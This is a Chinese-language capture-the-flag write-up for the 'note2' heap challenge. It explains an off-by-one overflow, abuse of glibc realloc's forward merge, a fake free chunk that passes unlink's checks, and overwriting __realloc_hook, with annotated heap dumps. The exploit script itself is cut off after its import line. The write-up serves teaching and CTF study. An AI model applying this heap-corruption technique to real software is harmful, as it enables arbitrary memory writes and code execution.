逆向分析
和上篇文章对note的分析差不多,漏洞点都是一样的,在对title进行修改的时候,导致off-by-one漏洞,只不过note2在对content进行修改的时候,对输入的size大小做了限制,只允许64-256字节的size。
这就导致了不能通过申请大的堆块来触发malloc_consolidate操作。
1 | __int64 change_content() |
怎么绕过这里的限制,我考虑了很久,最主要的出发点还是通过单字节溢出,修改content chunk的size域。
如果可以将size域的值修改为大一点的值,使其落入small bin的范围,并设置prev_inuse位为0,就可以通过realloc大一点的chunk来引发free操作,进而触发title chunk的unlink操作,实现任意地址读写。
但是,off-by-one可以溢出的字节是程序限定的,并且它们的最大值为0x40,这就使得根本不可能实现我上面的想法。
最后请教了糖果师傅,原来自己对realloc的理解还不是很深入,需要再回看源码。
利用分析
在realloc中有一行代码被我忽略了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24/* Try to expand forward into next chunk; split off remainder below */
else if (next != av->top && !inuse (next) && (unsigned long) (newsize = oldsize + nextsize) >= (unsigned long) (nb))
{
newp = oldp;
unlink (av, next, bck, fwd);
}
//这里是设置chunk的size字段的相关代码
//newsize是两个chunk的size之和,nb是申请的size
remainder_size = newsize - nb;
if (remainder_size < MINSIZE) /* not enough extra to split off */
{
set_head_size (newp, newsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_inuse_bit_at_offset (newp, newsize);
}
else /* split remainder */
{
remainder = chunk_at_offset (newp, nb);
set_head_size (newp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
/* Mark remainder as inuse so free() won't complain */
set_inuse_bit_at_offset (remainder, remainder_size);
_int_free (av, remainder, 1);
}
这里的意思是,如果下一个chunk为free状态的话,就将下一个chunk合并到当前chunk中,并在后面代码中将当前chunk的size域值设置为申请的size或者是两个chunk的size之和。
这样就可以使得content chunk的size落入small bin的范围中,就可以实现我上面的想法了。
所以需要在content中伪造一个free chunk,这很方便,因为对一个chunk是否为free进行检查,只需要判断下一个chunk的size域的最低位是否为0。
下面一步步记录下利用过程:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20这是最开始的title和content的chunk分布
title
0xc4c640: 0x0000000000000000 0x0000000000000031
0xc4c650: 0x00007f8a7f75ac18 0x00007f8a7f75ac18
0xc4c660: 0x0000000000000000 0x0000000000000000
content
0xc4c670: 0x0000000000000000 0x0000000000000081
0xc4c680: 0x00007f8a7f75abe8 0x00007f8a7f75abe8
0xc4c690: 0x0000000000000000 0x0000000000000000
0xc4c6a0: 0x0000000000000000 0x0000000000000000
0xc4c6b0: 0x0000000000000000 0x0000000000000000
0xc4c6c0: 0x0000000000000000 0x0000000000000000
0xc4c6d0: 0x0000000000000000 0x0000000000000000
0xc4c6e0: 0x0000000000000000 0x0000000000000000
0xc4c6f0: 0x0000000000000000 0x0000000000000021
0xc4c700: 0x00007f8a7f75ab68 0x00007f8a7f75ab68
0xc4c710: 0x0000000000000020 0x0000000000000020
现在需要在title的fd和bk填入需要利用的地址,这里就是指向title chunk的指针的地址。
通过单字节溢出,覆盖content的size域值为0x40,并在content中伪造一个free chunk。
这里需要注意的是fake chunk的size域值加上0x40必须大于等于后面要申请的content的size值,而且使得fake chunk的下一个chunk size域值是正常的chunk size值,并且其最低位为0,因为free操作会检查后一个chunk的size字段是否合理。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35构造好的chunk
title
0xc4c640: 0x0000000000000000 0x0000000000000031
0xc4c650: 0x0000000000000000 0x0000000000000020
0xc4c660: 0x0000000000602058 0x0000000000602060
content
0xc4c670: 0x0000000000000020 0x0000000000000040
0xc4c680: 0x4141414141414141 0x4141414141414141
0xc4c690: 0x4141414141414141 0x4141414141414141
0xc4c6a0: 0x4141414141414141 0x4141414141414141
fake free chunk
0xc4c6b0: 0x0000000000000000 0x0000000000000091
//由于content的size上限为256,第一次申请要将content的size改为small bin范围的值,第二次申请就需要大于当前的size才能触发title的unlink。
//因此这里的size值不能随意设置,申请的值也需要配合着这里的值。
//若第一次申请的size为0x80,则chunk的size为0x90,那么fake的size必须大于等于0x50
//当第二次申请大块chunk时,将会触发合并后的content的free操作,free会对下一块的size进行检查。
//这里,下一块正好就是0xc4c700处的值,显然不是合理的size
//当合并后chunk的size减去申请的size大于32时,realloc会对多余的chunk进行free,所以这里fake的size设为0x91
//这样,会将0xc4c708处的值覆盖为0x41,并且,再往下检查也是合法的size
0xc4c6c0: 0x0000000000c4c6b0 0x0000000000c4c6b0
//这里的fd和bk需要爆破猜测。
0xc4c6d0: 0x0000000000000000 0x0000000000000000
0xc4c6e0: 0x0000000000000000 0x0000000000000000
0xc4c6f0: 0x0000000000000000 0x0000000000000021
0xc4c700: 0x00007f8a7f75ab68 0x00007f8a7f75ab68
0xc4c710: 0x0000000000000020 0x0000000000000020
0xc4c720: 0x0000000000c4c7c0 0x0000000000c4c740
0xc4c730: 0x0000647773736170 0x0000000000000041
0xc4c740: 0x0000000000c4c780 0x0000000000000000
0xc4c750: 0x0000000100000000 0x0000000000000001
0xc4c760: 0x0000000000c4b480 0x0000000000c4b440
0xc4c770: 0x00007461706d6f63 0x0000000000000041
由于unlink操作会进行一些检查:1
2if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
所以这里fake free chunk的fd和bk值必须指向fake free chunk自身,这里就只能采取爆破的方法来获取地址。由于程序没有开启PIE,所幸爆破的次数不是很多。
接下来就很简单了,通过两次申请大一点的content,一次是为了使得content的size值落入small bin,一次是为了触发unlink。
实现任意写后,就可以覆盖__realloc_hook堆内存调试钩子了。
利用代码
1 | from pwn import * |